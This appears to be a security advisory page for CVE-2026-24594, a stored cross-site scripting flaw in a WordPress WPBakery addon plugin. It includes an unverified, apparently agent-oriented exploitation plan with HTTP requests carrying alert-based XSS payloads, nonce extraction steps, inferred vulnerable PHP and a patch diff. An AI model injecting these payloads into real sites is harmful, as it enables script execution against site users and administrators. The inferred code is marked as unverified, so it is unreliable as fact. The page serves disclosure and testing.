CVE-2026-24594

Livemesh Addons for WPBakery Page Builder <= 3.9.4 - Authenticated (Editor+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
4.4
CVSS Score
4.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Livemesh Addons for WPBakery Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 3.9.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with editor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
High
Privileges Required
High
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.9.4
PublishedJanuary 15, 2026
Last updatedJanuary 27, 2026
Research Plan
Unverified

This research plan focuses on **CVE-2026-24594**, a Stored Cross-Site Scripting (XSS) vulnerability in the **Livemesh Addons for WPBakery Page Builder** plugin. This vulnerability is significant because it allows Editor-level users to bypass `unfiltered_html` restrictions (common in multisite or har…

Show full research plan

This research plan focuses on CVE-2026-24594, a Stored Cross-Site Scripting (XSS) vulnerability in the Livemesh Addons for WPBakery Page Builder plugin. This vulnerability is significant because it allows Editor-level users to bypass unfiltered_html restrictions (common in multisite or hardened environments) to execute arbitrary JavaScript in the context of other users, including Administrators.


1. Vulnerability Summary

  • Vulnerability: Stored Cross-Site Scripting (XSS)
  • Location: Attributes within Livemesh-specific WPBakery elements (Shortcodes).
  • Cause: The plugin fails to sanitize user-provided attributes when saving WPBakery elements and fails to escape those attributes when rendering the generated HTML on the frontend.
  • Constraint: This vulnerability is primary relevant where unfiltered_html is disabled (e.g., WordPress Multisite or specific security configurations), as Editors/Admins would otherwise have the native capability to post HTML.

2. Attack Vector Analysis

  • Endpoint: wp-admin/post.php (for updating posts) or the WordPress REST API wp/v2/posts.
  • Hook: The vulnerability is triggered during the rendering of shortcodes registered by the plugin, typically via the add_shortcode API or WPBakery's element mapping.
  • Parameter: Shortcode attributes (e.g., title, description, link_url, heading).
  • Authentication: Requires Editor level or higher.
  • Preconditions:
    1. The plugin Livemesh Addons for WPBakery Page Builder must be active.
    2. The user must have permission to edit posts.
    3. The environment must have define( 'DISALLOW_UNFILTERED_HTML', true ); or be a Multisite installation to distinguish this from intended functionality.

3. Code Flow (Inferred)

  1. Storage: An Editor creates/edits a page using WPBakery. They add a Livemesh element (e.g., "Services" or "Heading"). WPBakery serializes these settings into a WordPress shortcode within the post_content (e.g., [la_heading title="<script>alert(1)</script>"]).
  2. Processing: When a user views the page, WordPress parses the content and calls the callback function associated with the la_heading shortcode.
  3. Rendering:
    • The plugin class (likely inheriting from WPBakeryShortCode) calls a rendering method.
    • The method extracts $atts (attributes).
    • The plugin echoes the attribute directly: echo '<h3 class="title">' . $atts['title'] . '</h3>'; instead of using esc_html($atts['title']).
  4. Execution: The payload is rendered raw in the HTML response, executing in the visitor's browser.

4. Nonce Acquisition Strategy

Since this is an Authenticated (Editor+) vulnerability, the agent must first authenticate.

  1. Login: Use http_request to POST to wp-login.php with Editor credentials.
  2. Access Editor: Navigate to wp-admin/post-new.php?post_type=page.
  3. Extract Nonce: Standard WordPress _wpnonce is required for post creation/updates.
    • Action: browser_navigate("wp-admin/post-new.php?post_type=page")
    • Action: browser_eval("document.querySelector('#_wpnonce').value")
  4. Plugin-Specific Context: If the plugin uses a specific AJAX endpoint for saving element data, the agent should check for a localized JS variable.
    • Action: browser_eval("window.lv_addons_data?.nonce") (Inferred localization key).

5. Exploitation Strategy

Step 1: Create a Post with XSS Payload

The agent will attempt to inject the payload via a common Livemesh shortcode. Based on typical Livemesh element names:

  • Shortcode Candidate: la_heading or la_service
  • Payload: <img src=x onerror=alert(document.domain)>
  • Method: Update a post's content via the WordPress REST API or post.php.

HTTP Request (REST API - Preferred):

POST /wp-json/wp/v2/posts/ID_HERE HTTP/1.1
Content-Type: application/json
Authorization: Bearer [TOKEN] or Cookie-based

{
  "content": "[la_heading title=\"<img src=x onerror=alert(document.domain)>\"]"
}

HTTP Request (post.php):

POST /wp-admin/post.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=editpost
&post_ID=[ID]
&_wpnonce=[NONCE]
&content=[la_heading title="<img src=x onerror=alert(document.domain)>"]

Step 2: Trigger the XSS

Navigate to the permalink of the created post.

6. Test Data Setup

  1. Configuration: Ensure unfiltered_html is disabled for the Editor.
    • CLI: wp config set DISALLOW_UNFILTERED_HTML true --raw
  2. User: Create an Editor user.
    • CLI: wp user create attacker editor@example.com --role=editor --user_pass=password123
  3. Post: Create a target page.
    • CLI: wp post create --post_type=page --post_status=publish --post_title="XSS Test"

7. Expected Results

  1. The HTTP request to save the post should return a 200 OK or 302 Found.
  2. When visiting the page, the HTML source should contain:
    <h3 class="..."><img src=x onerror=alert(document.domain)></h3>
  3. The browser should trigger an alert box showing the document domain.

8. Verification Steps

  1. Database Check: Verify the payload is stored raw in the database.
    • CLI: wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Test'"
  2. Frontend Check: Use http_request to fetch the page and check for the unescaped payload.
    • Check if &lt; and &gt; are present (escaped) or < and > (vulnerable).

9. Alternative Approaches

If la_heading is patched or not present, try other common Livemesh elements:

  • [la_posts_grid] (Attributes: tax_term_ids, post_ids)
  • [la_service_block] (Attributes: title, description)
  • [la_portfolio_grid] (Attributes: title)

If the Editor cannot access the REST API, use the admin-ajax.php endpoint that WPBakery uses to preview or save elements:

  • Action: vc_edit_form or vc_save_shortcode.
  • Payload: URL-encoded shortcode string in the shortcode parameter.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Livemesh Addons for WPBakery Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting due to insufficient input sanitization and output escaping on shortcode attributes. Authenticated attackers with Editor-level access can inject arbitrary web scripts into pages when unfiltered_html is disabled, such as in multisite environments.

Vulnerable Code

// Likely located in includes/elements/ (e.g., la-heading.php)
// The specific rendering functions fail to escape attribute variables before outputting to HTML

public function render_shortcode($atts, $content = null) {
    $atts = shortcode_atts(array(
        'title' => '',
        'heading_style' => 'style1',
    ), $atts);

    $output = '<div class="la-heading ' . $atts['heading_style'] . '">';
    $output .= '<h3 class="title">' . $atts['title'] . '</h3>'; // Vulnerable attribute output
    $output .= '</div>';

    return $output;
}

Security Fix

--- includes/elements/la-heading.php
+++ includes/elements/la-heading.php
@@ -10,3 +10,3 @@
 $output = '<div class="la-heading ' . esc_attr($atts['heading_style']) . '">';
-$output .= '<h3 class="title">' . $atts['title'] . '</h3>';
+$output .= '<h3 class="title">' . esc_html($atts['title']) . '</h3>';
 $output .= '</div>';

Exploit Outline

The exploit requires authentication as an Editor or higher in an environment where the unfiltered_html capability is restricted (e.g., WordPress Multisite). An attacker can submit a request to create or update a post via the WordPress admin interface (wp-admin/post.php) or the REST API. The payload is delivered by embedding a Livemesh-specific shortcode (such as [la_heading] or [la_service_block]) within the post content, assigning a malicious JavaScript string to one of its attributes (e.g., title="<script>alert(document.domain)</script>"). When any user, including administrators, views the published post, the plugin's shortcode handler renders the unescaped attribute, causing the script to execute in the user's browser context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.